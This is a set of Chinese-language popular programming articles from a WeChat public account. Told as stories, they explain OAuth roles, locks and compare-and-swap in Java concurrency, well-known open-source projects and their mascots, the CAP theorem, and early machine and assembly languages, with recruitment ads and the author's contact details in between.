2. Implicit Grant(隐式许可)

3. Authorization Code Grant(授权码许可)




还有一种叫做Client credentials ,用的较少，文章没有涉及。




这些名称有些古怪， 但是本质没那么复杂。 在OAuth中，还有几个术语大家可以理解下：

资源所有者 :  就是我们上文的张大胖

资源服务器 ： 即网易邮箱

客户端: 就是上文的信用卡管家

授权服务器 ： 即上文的网易认证中心




想查看完整的OAuth 2.0协议， 可以点击阅读原文
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                    1共享变量惹得祸





我们这里是个典型的弱肉强食的世界， 人口多而资源少，为了争抢有限的资源，大家都在自己能运行的CPU时间片里拼了老命，经常为了一个变量的修改而打的头破血流。




100纳秒以前， 我有幸占据了CPU,从内存中读取了一个变量x == 100, 我把它加了1， 休息了一会儿后我打算把它写回内存， 但是惊奇的发现： 内存中的x 已经变成102了。




估计是哪个不着调的线程在我休息的时候也读取并且修改了x，   有不少好心的线程在冲我喊：不要写回了！ 但是写回内存是我的指令啊， 你不让我执行，难道让我退出？  我只能毫不客气的把101写入内存， 把那个不符合我逻辑的值102给覆盖掉， 这样我才能执行下一条指令。




你看，单线程的逻辑正确并不表示多线程并发运行时的逻辑也能正确。 




这样的事情发生的多了，程序总是无法正确运行， 引起了人类的强烈不满，小道消息说他们在考虑kill掉我们， 换编程语言了。




但是换编程语言有什么用，只要有共享变量，多线程读写的时候就是会出现不一致啊。




除非你消除共享变量，让每个线程只访问一个函数内的局部变量， 这些局部变量我们每个线程都会有一份， 函数结束以后就会销毁，所以线程之间就隔离了，就安全了。




消除共享变量谈何容易， 人类使用的很多语言例如C++, Java，那些共享变量大多数一个对象的字段， 你想把字段去掉， 只留下函数， 那类也没有存在的必要了， 就类似于函数式编程了， 一切都是函数。  有时候我挺羡慕函数式的世界， 那种无状态应该是一种非常美妙的感觉吧。




2争抢吧，线程





既然共享变量是无法消除的，那就想想别的办法吧， 线程元老院的那帮家伙们哼哧了半天，终于公布了一个方案： 加锁！




任何线程，只要你想操作一个共享变量，对不起， 先去申请一把锁， 拿到这把锁才能读取x的值 ， 修改x的值，  把x写回内存， 最后释放锁，让别人去玩。




元老院设计的这把锁非常简单， 类似于一个boolean 变量， boolean lock = false.       谁能抢先把这个变量改成true, 就意味着获取了这把锁。




来吧，哥几个，快来抢吧 ！




我运行的时候， 就去检查lock这个变量是否可以设置为true, 如果被别的家伙给抢到了（已经变成true了）， 我就在这里无限循环，拼命的抢， 除非我的时间片到了，被迫让出CPU, 但是我不会阻塞， 还是就绪状态，等待下一次的调度， 进入CPU继续抢。




看到某人把它变成false, 我眼疾手快迅速出手， 终于抢到了，赶紧把lock改成true, 这把锁现在属于我了， 赶快去干活，干完活要记住把lock 改成false,  让别的家伙们去抢。




我想正是由于这种无限循环的特点， 元老院把他命名为“自旋锁”吧！




列位看官，可能你已经想到了， 假设有两个线程，都读到了lock == false,  都把lock 改成true, 那这个锁算谁的？




这个问题元老院的大佬们早就考虑到了， 他们和操作系统（我听说还有硬件）都商量好了， 这个检测lock是否为false, 以及设置lock 为true 的操作 其实被合并了， 叫做test_and_set(lock),  操作系统郑重承诺，这是一个不可分割的原子操作， 在这个test_and_set执行的时候，总线都被锁住了， 别人不能访问内存， 即使有多个CPU在执行也不会乱掉。




如果你感兴趣，可以看看下面的实现， 否则直接无视跳过:









3改进





有了自旋锁， 至少可以保证程序的正确运行了， 我们大家都玩的不亦乐乎。




有一天我遇到了一个递归函数， 我是挺喜欢递归的， 因为逻辑简单， 只要递归的层次别太深， 别搞出栈溢出就好。  




这个递归函数中需要获得自旋锁，做点事情， 然后继续调用自己， 类似于这样：









我第一次调用doSomething, 获取了自旋锁， 然后第二次调用doSomething, 还要获取自旋锁，  可是这个锁已经在我第一次调用的时候持有了， 现在第二次调用只有无限的等待了！ 




这下尴尬了， 我进退不得， 自己把自己搞成了死锁！




看来这个自旋锁虽然能实现互斥的访问， 但是不能重新进入同一个函数（简称不可重入）啊！




我赶紧把这个问题向元老院做了汇报， 修改方案很快就下来了： 每次成功的申请锁以后，要记录下到底是谁申请的， 还要用一个计数器记录重入的次数， 下一次持有锁的家伙再次申请锁只是给计数器加一而已。




释放的时候也是一样， 把计数器减一， 如果等于0了才真正的释放锁。




可重入性就这么解决了， 但是这么多线程都在那里拼命的抢也不是办法， 空耗CPU也是巨大的浪费啊。




于是元老院又发布了新的锁 ReentrantLock， 这个锁可以重入，如果你抢不到， 不要无限循环了， 乖乖的到等待队列里待着去， 等到锁被别人释放了再通知你去抢。




(在Java 中最初是synchronzied关键字，可以用在一个方法上或者一个代码块上， 后来又改进为更加灵活的ReentrantLock)




很快就有线程还抱怨说， 明明是我先发出获得锁的申请啊， 为什么隔壁老王却先拿到了锁？ 这不公平啊，不行，以后得排队， 先来先得。   好吧， 只好加上一个是否公平的参数。




还有线程说， 我是个急性子，申请锁的时候只想等待5秒钟， 5秒之内得不到锁我就放弃了， 能不能支持？  那就再加上一个参数：等待时间。




4发扬光大





体会到锁带来的甜头以后， 各种各样样的需求纷至沓来： 




1. 有时候需要多个线程都获得同一把锁，去做一件事情，那怎么办呢？




没关系，信号量（Semaphore）出马，创建信号量的时候得指定一个整数(例如10)， 表明同一时刻最多有10个线程可以获得锁： 

Semaphore lock= new Semaphore(10);




当然每个线程都需要调用lock.aquire(), lock.release()去申请/释放锁。 




2.  一个线程要写共享变量， 可是还有几个线程要同时读， 怎么办？ 你写的时候可以锁住， 但总不能读的时候也只允许一个线程吧？  




只好来一个读写锁了ReadWriteLock， 为了保证可重入性， 元老院体贴的实现了ReentrantReadWriteLock。




 3. 一个线程需要等待其他多个线程完工以后才能干活，怎么办？ 




CountDownLatch前来救驾， 搞一个计数器，某个线程干完了就把计数器减去1， 如果计数器为0了，那个一直耐心等待的线程就可以开始了。




4. 还有几个线程必须互相等待， 就像100米赛跑那样， 所有人都准备好了才能开闸放水， 不，是起跑， 就那就赏你一个CyclicBarrier吧。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577














优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！
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  前言





上次我说过， 我们这个线程的世界是个弱肉强食的地方， 大家为了争抢资源大打出手，时不时闹出些内存数据互相被覆盖的事故， 给人类带了无穷的烦恼。




后来线程元老院强势出手， 发明了一种锁的机制， 这才制止了内乱。 从此以后我们要访问共享的资源（共享变量， 文件...)都得想办法先申请到一把锁才可以。




（码农君注： 关于锁的故事在《编程世界中的那把锁》有讲述）
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  互斥锁





虽说锁是个好东西， 但是我们线程日常使用的都是互斥锁， 所谓互斥，就是同一时刻只有获得锁的那个线程才有资格去操作共享资源，  别的线程都阻塞住了，被放到了一个叫锁池(Lock pool)的地方，什么事情都干不了。









比如说这个简单的Sequence类吧， 有100个线程拼命地挤破头去进入next()方法， 但由于synchronized的存在， 大家必须得获得一把锁才可以， 隔壁的小明运气不错， 获得了操作系统的垂青， 喜滋滋的得到了宝贵的锁， 进入了next()方法去做事了。




而我们剩下的99个线程大眼瞪小眼， 除了叹口气，感慨下人生之不如意十之八九， 还能干嘛？




老老实实地进入锁池里待着去吧！




等到隔壁小明做完了事情， 美滋滋的拿着最新的value值出来以后， 我们这99个在锁池里吹牛的线程一跃而起，去竞争那个刚刚被释放的锁。




但是下一个幸运儿是谁呢？  不知道？




有时候人类为了公平，会搞个队列让我们排好队，先进先出。 但是我已经活了4.998秒，人生快走到了尽头， 在这么长的人生里， 我体会到的真理是： 公平实在是个稀缺货，不公平才是常态！




所以年轻人不要老是抱怨这个社会， 没用的， 还是老老实实的奋斗吧。
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  不要加锁？





平淡的日子就这么过着， 有一天线程世界来了一个年轻人，自称为小李,  他看着我们这么努力地奋斗着去争抢那把锁， 不由地嘲笑道： 你们真傻啊， 难道不知道不加锁也能做事吗？




我们愣了一下，人群中立刻发出一阵爆笑：哈哈哈， 这小子疯了，没有锁岂不又回到互相覆盖数据的日子了！




小李不甘示弱：你们这帮土老帽，把元老院的那帮老家伙的话当做圣旨， 岂不知天外有天， 人外有人， 这世界大得很呐！




这句话把我们镇住了， 我小心翼翼地问： 那你说说，不加锁怎么才能保证正确性呢？




“就拿你们的那个Sequence类来说吧， 不就是并发的更新内存中的一个值吗， 可以这么分为三步来做：




1. 从内存中读取value 值，假设为10， 我们把这个值称为A

2. B = A+1 得到 B = 11

3. 用A 和 内存的值相比， 如果相等(就是说在过去的一段时间，没人修改内存的值)， 那就把B的值(11)写入内存,  如果不相等(就是说过去的一段时间， 有人修改了内存value 的值)， 意味着A已经不是最新值了， 那就放弃这次修改， 跳回第1步去”




我们面面相觑， 就这么简单？ 真的没有加锁啊。




隔壁的小明反应最快： 小李子， 你这第三步有问题啊， 你看需要读内存吧，需要比较吧，还得写入内存吧， 这不是一个原子操作，  在我们多线程并发执行的时候， 肯定会出问题！




小李说： “唉， 说你们老土吧， 你们还不服气， 听说过comare and swap 这个硬件指令没有？  那个第三步其实就是一条硬件指令，保证原子执行。 在单个CPU上就不用说了，如果是有多个CPU， 这个指令甚至会锁住总线， 确保同一时刻只有一个CPU能访问内存！




这样吧， 干脆写成个指令：  compareAndSwap(内存的值, A , B) , 这下子明白了吧？  还不明白？ 估计是人类的语言你们听起来不太明白， 来吧，给你们来点熟悉的代码：”









看到了我们熟悉的代码， 我的脑海飞速盘算：




假定我和小明都同时进入了这段代码， 都读到了内存的值A  = 10 ,  然后小明的时间片到了，只好退出CPU,  我则愉快的继续执行。




对于我来说 A = 10 , B = 11,  然后我运行compareAndSwap ,我发现我的A值和内存值是相等的，于是就把新的值B写入内存， 并且返回，退出next 函数， 收工回家。




等到小明再次被运行的时候， 由于他的初始值A也是10 ， 他也得到B = 11， 当他运行compareAndSwap 就发现A的值和内存不相等了（因为我改成了11） ， 那小明只好再次循环，获得A = 11, B = 12 , 再次调用compareAndSwap ， 如果还是被别人抢了先， 小明只好再次循环, 从内存获得A = 12 , B =13 ....   直到成功为止。




想到小明一直循环下去，累得要死的样子， 我”邪恶“地笑了。




我抬起头，正好和小明的目光相遇， 看到他不怀好意的样子， 估计也是把我置于无限循环的想象中了。
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 Java中的CAS





小李说： “Compare And Swap 这个词太长了， 以后简称CAS，希望你们听得懂。”




小明问道： “我们是Java 语言， 你那个读取内存的值该怎么办， 还有那个compareAndSwap 函数，我们实现不了啊？”




小李说：“你们Java 不是有JNI(Java native interface)吗？  可以用C语言来实现， 然后在Java中封装一下不就得了？”









“看看这个AtomicInteger,  他就代表了那个内存的值， 那个count.compareAndSet方法只有两个参数， 实际上内存的值隐藏在了AtomicInteger当中，你们Java 不是喜欢面向对象嘛！”




我们仔细地审视这段代码， 它根本没有加锁， 每个人都可以进入next()方法， 读取数据，操作数据， 最后使用CAS来决定这次操作是否有效， 如果内存值被别人改过，那就再次循环尝试。




小李总结到： “你们之前的synchronized 叫做悲观锁， 元老院太悲观了，总是怕你们把事情搞砸，你看现在乐观一点儿， 不也玩的挺好嘛！ 每个线程都不用阻塞，不用在那个无聊的锁池里待着。 要知道，阻塞，激活是一笔不小的开销啊。”
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 CAS的扩展








使用非阻塞算法的线程越来越多， 小李趁热打铁，提供了一系列所谓Atomic的类：

AtomicBoolean

AtomicInteger

AtomicLong

AtomicIntegerArray

AtomicLongArray




这些工具类都很好用， 大家非常喜欢， 只是我们发现小李的这些工具类只支持简单的类型，对于一些复杂的数据结构，就不好使用CAS了，因为使用CAS需要频繁的读写内存数据，并且做数据的比较，  如果数据结构很复杂， 那读写内存是不可承受之重，还不如最早的悲观锁呢！




小李胸有成竹， 马上给出了改进： 不要比较数据啊， 只比较引用不就得了， 这里有一个AtomicReference, 拿去用吧。




我们向元老院做了推荐， 那些老家伙们可真是有两把刷子， 立刻提出了一个我做梦都没有想到的问题：




假设有两个线程， 线程1 读到内存的数值为 A ,  然后时间片到期，撤出CPU。 线程2运行，线程2 也读到了A , 把它改成了B， 然后又把B改成原来的值A , 简单点说，修改的次序是 A -> B ->A  。 然后线程1开始运行， 它发现内存的值还是A , 完全不知道内存中已经被操作过。




(码农君注： 这就是著名的ABA问题)




我想了一下， 好像没什么啊，不就是把数字改成了原来的值吗？也没什么影响。




可是小李却陷入了沉思， 看来这是一个挺难的问题， 他口中念念有词： 如果只是简单的数字，那没什么， 可是如果使用AtomicReference， 并且操作的是复杂的数据结构，就可能会出问题了。对了， 我可以用一个版本号来处理啊， 给每个放入AtomicReference的对象都加入一个version, 这样以来尽管值相同， 也能区分开了！ 嗯， 我就叫他AtomicStampedReference 吧。




元老院很满意， 但是还是发了一个公告：  




鉴于最近使用AtomicXXXX的线程越来越多， 元老院有责任提醒各位， 用这些类实现非阻塞算法是非常容易出错的，在你自己实现之前， 看看元老院有没有提供现成的类，例如： ConcurrentLinkedQueue。 如果非要自己写，也得提交给元老院审查通过才可以使用。
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  后记： Doug Lea





如果说要从Java 世界中找一个并发编程的大牛， 我想这个人非Doug Lea莫属， 从JDK 1.5开始， Java 引入了一个非常著名的线程并发库java.util.concurrent ， 由于其良好的抽象， 这个库极大的降低了并发编程的难度， 其作者就是并发编程的权威Doug Lea， 他是纽约州立大学Oswego分校计算机科学系教授， JCP（Java Community Process）执行委员会成员，JSR166（并发编程）的主席 ， 文中的小李就是向Doug Lea致敬。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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用故事给技术加点料





微信号：coderising







                    
                    
                    这个动物园， 两年也逛不完

                                                                                

                    

                    

                    
                    
                    




你可能没有注意到， 在软件开发的王国里存在着一个有趣的动物园， 其中动物之多， 范围之广， 不花个几年功夫是逛不过来的。












Linux




自1991年诞生以来， 小企鹅迅速攻城拔寨， 虽然没有击败微软占领桌面， 但是成功的霸占了服务器的操作系统，  令人没有想到的是它还随着Android系统占据了大部分人的手机，  有数据显示，2016年智能手机卖了14亿步， 其中Android占了近80%， 企鹅凶猛啊。




码农们日常直接和小企鹅打交道的可能不多， 但是基本的操作命令需要掌握。 尤其是对于后端编程的同学， 咱们的程序基本上都交由小企鹅来运行， 了解操作系统的进程、线程、虚拟内存、文件系统、IO 等基本知识，并且和Linux结合起来， 对于提升自己的内功是非常有利的。


















Mysql




小海豚 MySQL开源数据数据库的No.1 ， 除了那些财大气粗的公司还是使用收费昂贵的Oracle, DB2之外， 大部分公司都转向了小海豚  ， 阿里不也成功的去IoE ，把自己的核心系统都转到MySQL来了嘛。




小海豚和小企鹅， 再加上PHP, Apache , 组成了声名远扬的LAMP, 免费，快速，灵活， 是很多中小网站的最爱。




虽然现在小海豚已经被Oracle公司领养， 给未来的发展抹上了一层阴影， 但是现在市场摆在那里， 如果Oracle 想懂点手脚，估计人民群中是不会答应的。





















Tomcat




这只名叫汤姆的“老”猫是一个实现了Java EE中Servlet和JSP规范的老牌正宗Web应用服务器， 稳定、免费、开源、强大， 深受广大人民群中喜爱。




在Java 世界中， 除了不差钱的土豪用Weblogic, Websphere 之外， 工薪族都会选择汤姆猫做为自己的应用服务器， 利用其他一些开源的监控软件， Tomcat可以轻松的组成一个集群， 再加上前端的Web服务器Nginix ， 后面的小海豚Mysql ,  还有缓存memcached , redis,   一个高可用的系统不在话下。


















Python




“人生苦短， 我用Python”




简单， 清晰， 优美是这条大蟒蛇的重要特点。




当然你必须得接受缩进的语法， 如果你是完美主义者， 可能忍受不了Python 方法签名中令人生厌的self。




Python 用途极广，  不仅可以写小程序， 桌面程序， 爬虫，Web程序， 还能进行科学计算，数据挖掘，Machine Learning。




总之， 你要是想学编程， 尤其想迅速的写程序做点有意义的事情， Python是不二之选。
























Docker




大鲸鱼Docker随着容器技术和微服务突然间火了起来！




看看这个鲸鱼背上的集装箱吧， 每个集装箱都是一个应用环境，可以简单理解为虚拟机，相比那些笨拙的虚拟机， docker 是个非常轻量级的方案 。




这些集装箱（应用环境）可以轻松的，非常快速的创建起来，并且互相隔离，  我们的应用部署起来就省事多了。





















Hadoop




这个黄色小象非常的了不起， 它能够把一个非常非常非常大的数据集分散存储在多个廉价的计算机上， 某个计算机坏了也没关系， 每一份数据都有备份。 




这还不算完， 它还能把一个电脑搞不定的计算任务也分散到多个电脑上去执行， 执行完以后再收回来得到一个最终的结果， 厉害吧。 




当然数据集必须得足够大， 要不然就失去意义了。





















Ant




别看蚂蚁个头小， 干的活儿确一点都不小， 它做的最多工作就是把你的代码从代码仓库里下载下来，编译，测试，打包，部署到测试环境甚至生成环境， 这些过程都是自动化的。   当然你必须编写XML任务描述交由它来执行。




虽然Maven , Gradle的崛起带走了不少Ant的用户， 但还有不少它的粉丝在坚守Ant,  尤其是在大量的遗留系统中。




参见：

小李的Build之路(上)

小李的Build之路(下)


















狐狸Firefox




“邪恶”的微软通过IE打败了网景浏览器以后， 没了竞争对手， 竟然好几年不更新IE浏览器。




此时小狐狸FireFox的出现让大家看到了进步的曙光。  丰富的插件支持可以说了吸引了不少用户去下载使用。  小狐狸给了微软已很大的压力，逼迫着微软不断的革新进步。




但是随着Chrome的强势崛起， 小狐狸有点力不从心了， 大家都抱怨它内存占用多， 速度慢，不如以前那么灵活了。





















大象PostgreSQL




又是一头大象！ 看来大象是动物园中很受大家喜欢的动物。




不过这头大象却是一个数据库， 它的功能比小海豚Mysql 更加强大， 但是由于机缘巧合的原因， 小海豚Mysql 随着互联网，随着LAMP崛起了， 把PostgreSQL 远远的抛在了身后。




作为著名的加州伯克莱利大学出品的数据库， 也许更加注重研究价值吧。 


















骆驼Perl




老实， 稳重， 不急不躁， 这就是骆驼Perl 给我的印象。




在互联网的早期， 用Perl 写动态网站的人可是不少。




Perl 具备强悍的字符串处理能力 ， 其正则表达式和模式匹配功能让人叹为观止， 实际上语言学家Larry Wall发明它的时候， 主要目的也是“扫描任意的文本文件，从这些文本文件中获取信息，基于这些信息打印报表而优化的语言”。




很多别的语言， 例如Ruby 都从Perl这里汲取了营养。




但是Perl写出的程序却不容易懂， 代码中充斥着 $@% 等让人”奇怪“的东西， 总是给人一种孤僻的感觉。


















河豚 ：openSSH







看看这个戴着墨镜，打着领结， 手上铐着顶级机密公文包的河豚， 多么霸气！

也许你用过Telnet ,  一个远程登录工具， 利用它你可以登录到远程的服务器去执行命令。 比如说：在家里登录公司的服务器去部署应用。




但是Telnet 的通信是明文的， 登录的密码也是明文的， 黑客（中间人）可以轻松的窃取。




SSH 通过使用MD5、RSA、DES等密码算法 对通信传输做了加密增大了中间人攻击的难度。




而河豚就是SSH的一个开源实现。


















小魔鬼：BSD Unix







BSD (Berkeley Software Distribution)是Unix的一个分支， 和PostgreSQL一样， 也是加州大学伯克利分校开发的。




也许你没直接用过BSD Unix , 但或许用过Mac 电脑 ， MAC OS X 就是从BSD UNix发展出来的。




特别值得一提的是 大神Bill Joy 在BSD 中第一次实现了高性能的TCP/IP协议栈， 一个人写的软件干翻了一个公司，   这个协议栈最终成为了互联网软件的基石。




（参见《张大胖的socket》）


















蜜蜂+大象 Hive







大象头，蜜蜂身， 虽然是个混合体，不过可以看出和大象Hadoop的渊源。




Hive是Hdaoop的一个数据仓库工具， 可以将结构化的数据文件映射为一张数据库表，并提供简单的sql查询功能 ， 省去了大量代码的编写， 只写SQL就可以搞定了。


















章鱼猫




章鱼猫，又一个新物种，不过这位太出名了， 不用再啰嗦了。

奥，对了， 它还被称为“全球最大的同性交友网站”， 你懂的。


















乌龟： TortoiseSVN







在GitHub 出现之前， SVN应该是最流行的版本控制系统。 而小乌龟TortoiseSVN则是最流行的SVN的客户端， 相信大部分人都用过或者正在使用它。


















土拨鼠：golang







可爱的土拨鼠可是说是含着金汤匙出生的。




背后是大厂Google, 是C语言和Unix之父 Ken Thompson， 是UTF-8, Plan9 的作者Rob Pike， 是Hotspot JVM, Chrome javascript V8引擎的主要贡献者Robert Grieseme 。




这么一群如雷贯耳，鼎鼎大名的大牛创造的语言go 自然会引起人民群中的极大关注。




土拨鼠的设计目标主要是21世纪的C语言，  语法比较简单，作为一门静态语言，竟然能给人带来一种动态语言的感觉， 还支持自动的内存管理（垃圾回收）， 内置了对并发编程的良好支持。  如果你从事服务器端的高并发编程， 不妨关注下这个土拨鼠。


















小鸟MyBatis




这个头上戴着红丝带的小鸟是Java Web开发的宠儿， 简单的来讲就是一个O/R Mapping的框架。




它支持定制化 SQL、存储过程以及其他高级映射， 利用Mybatis 几乎 避免了所有的 JDBC 代码和手动设置参数以及获取结果集。




相对于另外一个完全的O/R Mapping框架 Hibernate ， MyBatis 更像一个SQL Mapper， 但是却给了开发人员更大的灵活度和控制能力， 所以也受到了很多人的欢迎。




原来SSH的说法很流行， 即Spring , Struts  , Hibernate,  现在Struts 有点没落， Spring MVC 强势崛起， 在加上MyBatis,  所以 SSM也逐渐成为了主流。





















动物园管理员：zookeepr







这么大一个动物园， 总得有个管理员吧。




Zookeeper 是一个分布式的协调系统， 为分布式应用提供了一项基本的服务： 分布式锁。在此之上可以解决分布式下的很多烦人的问题：状态同步，统一命名，集群管理等等。




作为大象Hadoop 项目中的一个子项目， 是Hadoop 中的一个关键性模块。







ps : 本文的灵感来源于在公众号给我发消息的一位网友， 但是由于微信公众号只支持查看5天的消息， 我竟然没法找到这位网友， 没法在这里致谢了。  如果你看到的话，请和我联系。




此外，QQ群的一些朋友也补充了不少“动物", 在此一并谢过。



你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577












优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！








                    
                    
                    张大胖和CAP定理

                                                                                

                    

                    

                    
                    
                    计算机界有很多高大上又难于理解的术语，CAP就是其中之一， 什么一致性（Consistency）， 可用性（Availability）， 分区容错性（Partition tolerance） 就很难理解了，  再加上CAP定理更是让人云里雾里，  今天咱们试图通俗的演绎一下。







张大胖在公司奋发图强，经过多年的努力，终于做到了架构师的位置。




架构师的椅子还没坐热，很快就来了一个项目要做架构设计。




老板把大胖叫来，谆谆教导说： 大胖啊， 数据是我们的宝贵资产，你设计的系统可千万要保证数据不能丢失啊！




大胖说老板放心， 这方面我有经验， 一般来讲我们要做数据的冗余处理， 简单的来讲就是给数据做多个副本来保存。 我会设计一个分布式系统， 把数据备份到多个机器节点去。




几天后， 大胖给发了一张图， 展示了这个分布式系统是怎么工作的：









数据副本在不同的机器上做冗余， 中间有数据的复制， 保证数据的同步。




虽然只是两台机器， 但是也构成了一个简单的分布式环境。




老板虽然不懂技术， 但是看到数据在不同的机器之间有备份，也就放心了。




经过几个月的开发和测试，系统顺利上线， 但是大家很快就发现：  分布式系统不像单机系统那么简单， 由于网络的原因， 或者某个机器的原因很容易导致通讯失败，或者节点不可用。




有一天， 用户先访问了左边的机器A , 写入了一条数据，  然后机器A很不幸， 网线被悲催的网管给踢掉了， 这直接导致了两个严重的后果：




1. 负载均衡找不着机器A，认为它死翘翘了， 就要把用户的下一次访问转到机器B去。




2. 数据复制也找不着机器A  ,  只好罢工。 用户刚写入的数据没法复制到机器B，机器B上还是老数据




怎么办？   虽然这是一次偶然， 把网管臭骂一顿， 插上网线就可以了， 但是谁能保证以后两个机器的通信是一致畅通的呢？




组里的小王说：    我们的机器B 还活着呢， 还能提供服务， 数据复制不到机器B， 不就是少看几条数据嘛， 无伤大雅，不影响大局， 勉强可用， 插上网线后数据复制就会工作， 一切就会恢复正常。




小王无意中选择了系统的可用性(Availability，简称A)， 系统能提供服务就好， 数据不一致可以忍受。




张大胖说:  不行，  老板说了，我们系统的数据极为重要， 数据如果不一致会带来严重后果，所以机器B上的和这些关键数据相关的功能也必须停掉， 必须等到机器A插上网线，数据同步以后才能开工




很明显， 张大胖遵循老板指示， 把一致性（Consistency, 简称C ）放到了首位。




所以问题就很明显了， 在网络节点之间无法通信的情况下,  和数据复制相关的功能， 要么选择可用性(A) , 要么选择一致性(C)， 不能同时选择两者。




大胖仔细思考了一下， 其实这两种选择的背后其实隐藏着另外一个事实， 那就是网络节点之间无法通信的情况下， 节点被隔离，产生了网络分区，  整个系统仍然是可以工作的， 大胖给它起了个名： 分区容错性（Partition tolerance， 简称P）。




如果选择了可用性(A) + 分区容错性(P) ,  就要放弃一致性(C)。




如果选在一致性(C) + 分区容错性(P) , 就得放弃可用性(A)  ，   对了， 这种情况下，虽然系统的有些功能是不能使用的， 因为需要等待数据的同步， 但是那些和数据同步无关的功能还是可以访问的 ， 相当于系统做了功能的降级。




既然有AP和CP,    会不会出现仅仅是CA（一致性+可用性）这种组合呢？ 就是没有分区容错性， 只保留可用性和一致性？ 仔细想想， 这种情况其实就退化成了单机应用， 没有意义了。




大胖觉得自己似乎发现了一个规律：   在一个分布式计算机系统中，一致性(C)，可用性(A)和分区容错性(P) 这三种保证无法同时得到满足，最多满足两个。




他决定把找个规律叫做CAP定理， 听起来比较高大上， 显得自己高深莫测。




如果你实在是搞不懂这CAP,   张大胖会告诉你一个更容易理解的版本： 在一个分布式系统中， 在出现节点之间无法通信（网络分区产生）， 你只能选择 可用性 或者 一致性，  没法同时选择他们。




（完）










你看到的只是冰山一角， 更多精彩文章，参见《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










公众号：码农翻身





“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。













编辑推荐




掘金是一个高质量的技术社区，从移动开发到架构设计，编程语言到开源类库，让你不错过互联网开发的每一个技术干货。长按图片二维码识别或者各大应用市场搜索「掘金」，技术干货尽在掌握中。












                    
                    
                    一个翻译家族的发家史

                                                                                

                    

                    

                    
                    
                    

我是编程语言翻译家族的一员， 我们这个家族最重要的工作就是将一个语言描述的源程序翻译成另外一种语言描述的目标程序, 听起来有些抽象， 通俗一点就是把你们码农写的源码变成可以执行的程序。




我们这个家族可以说是伴随这计算机的发展而不断发展壮大的， 现在已经成为计算机软件系统不可缺少的一部分， 如果回顾一下发家史， 还是挺有趣的。 
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机器语言





我听说计算机刚发明那会儿， 人们就是拨弄各种开关、操作各种电缆把程序给“输入”到计算机中去。




这所谓的程序， 可真的是0110000111这样的二进制，   我真是佩服这些程序的设计者和操作员们， 太不可思议了。




这种原始的方式也决定了难于诞生超大型程序， 因为太复杂了，远远能过人脑能思考的极限。









后来人们做了点改进， 把程序打到穿孔纸带上， 让机器直接读穿孔纸带， 这下子就好多了， 终于不用拨弄开关了。









但程序的本质还是没有变化， 依然是在使用二进制来编程。




如果这个样子一直持续下去， 估计这个世界上的程序员会少的可怜： 编程的门槛太高了。




比如说你的脑子里得记住这样的指令：

0000 表示从内存中往CPU寄存器装载数据

0001 表示把CPU寄存器的值写入内存

0010 表示把两个寄存器的值相加




你还得记住每个寄存器的二进制表示：




1000 表示寄存器A

1001 表示寄存器B




综合起来就像这样：




0000 1000  000000000001  它的意思是说， 把编号为1的内存中的值装载到寄存器A当中




0010 1000  1001  的意思是把寄存器A和寄存器B的值加起来，放到寄存器A中。




整天生活在这样的世界里， 满脑子都是0和1， 要是我估计就抑郁了。




当时的程序员像熊猫一样稀少， 不， 肯定比熊猫更少， 他们都要二进制写程序， 对我们翻译家族没有任何的需求。 
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 汇编语言





既然二进制这么难记， 人们很快就想到：  能不能给这些指令起个好听的名称呢？




0000  ： LOAD

0001   :   STORE

0010   :   ADD




寄存器也是一样的：

1000 : AX

1001 : BX




这下读来容易多了：

ADD AX BX




人们给这些帮助记忆的助记符起了个名字： 汇编语言。




但是计算机是无法执行汇编语言的，  因为计算机这个笨家伙只认二进制，  所以还得翻译一下才行。




于是我们家族的一个重要成员： 汇编器 隆重登场了， 他专门负责汇编语言写的程序翻译为机器语言， 这个翻译的过程比较简单，几乎就是一一对应的关系。




汇编语言解放了人们的部分脑力， 可以把更多的精力集中在程序逻辑上了。 越来越多的人学会了使用汇编来编程，  写出了很多伟大的软件。




汇编的优点是贴近机器， 运行效率极高， 但是缺点也是太贴近机器， 直接操作内存和CPU寄存器， 不能结构化编程， 每次函数调用还得把手动把栈帧给管理好，  这对于一般的程序员来讲太难了！




我的祖先们把穿孔纸带和汇编语言都称为低级语言， 把这个时代称为机器语言编程时代。




生活在这个时代的祖先们是很幸福的， 因为翻译工作十分简单。 




但是用汇编写程序的人还是太少， 找我们做翻译的也很少， 翻译家族也只是温饱而已。
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高级语言





人类的欲望是无止境的， 他们一直在探索用一种更高级的语言来写程序的可能性， 这种高级语言应该面向人类编写和阅读， 而不是面向机器去执行。




人类想要的高级语言是这样的：




声明各种类型的变量来表示数据，而不是用寄存器。  例如 :

int value = 100




能使用复杂的表达式来告诉电脑自己的意图：  

salary = 1000 + salary * 12




可以用各种控制语句来控制流程：

 if .. else ,  while(....) ....




还可以定义函数来封装、复用一段业务逻辑：

int get_primes(int max) {.....}




但是高级语言和低级语言之间存在着巨大的鸿沟， 怎么把高级语言翻译成可以执行的机器语言是个非常难的问题！




人类在黑暗中摸索了很久，这才迎来一丝光明， 1957年，第一个高级语言的编译器才在IBM704的机器上运行成功。 更重要的是乔姆斯基对自然语言结构的研究， 把语言文法做了分类，有了0型文法，1型文法， 2型文法，3型文法， 这一下子给我们的翻译工作奠定了理论基础。




